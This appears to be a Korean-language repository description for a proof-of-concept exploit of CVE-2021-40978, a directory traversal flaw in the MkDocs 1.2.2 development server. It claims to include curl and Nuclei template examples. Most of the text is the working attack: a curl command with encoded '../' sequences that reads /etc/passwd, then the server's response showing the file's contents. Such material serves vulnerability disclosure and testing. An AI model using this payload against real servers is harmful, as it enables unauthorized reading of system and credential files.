nisdn/cve-2021-40978MkDocs 1.2.2 내장 개발 서버의 디렉터리 트래버설에 대한 개념 증명으로, 인코딩된 경로 트래버설을 통해 임의 파일 읽기를 가능하게 합니다. curl 및 Nuclei 템플릿 예제를 포함합니다.
mkdocs 내장 개발 서버 디렉터리 트래버설 익스플로잇
Mkdocs 1.2.2는 포트 8000에서 응답하는 내장 개발 서버를 통해 디렉터리 트래버설을 허용합니다. 성공적으로 익스플로잇된 경로의 예시는 아래와 같습니다:
이 기법을 사용하면 루트 디렉터리 외부의 파일을 가져올 수 있으므로, 누구나 임의의 파일을 읽고 다운로드할 수 있습니다.
curl http://0.0.0.0:8000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd -i
HTTP/1.0 200 OK
Date: Mon, 04 Oct 2021 02:13:38 GMT
Server: WSGIServer/0.2 CPython/3.7.3
Content-Type: application/octet-stream
Content-Length: 2187
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync...
